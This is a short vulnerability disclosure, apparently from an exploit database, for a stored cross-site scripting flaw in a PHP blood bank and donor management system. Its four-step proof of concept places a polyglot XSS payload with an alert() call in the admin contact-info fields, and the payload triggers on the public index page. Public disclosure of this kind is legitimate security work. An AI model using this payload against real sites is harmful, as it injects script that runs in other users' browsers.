Blood Bank & Donor Management System using v2.2 - Stored XSS

# Exploit Title: Blood Bank & Donor Management System using v2.2 - Stored XSS
# Application: Blood Donor Management System
# Version: v2.2   
# Bugs:  Stored XSS
# Technology: PHP
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/blood-bank-donor-management-system-free-download/
# Date: 12.09.2023
# Author: SoSPiro
# Tested on: Windows

#POC
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1. Login to admin account
2. Go to /admin/update-contactinfo.php
3. Change "Adress" or " Email id " or " Contact Number" inputs and add "/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert('1') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e" payload.
4. Go to http://bbdms.local/inedx.php page and XSS will be triggered.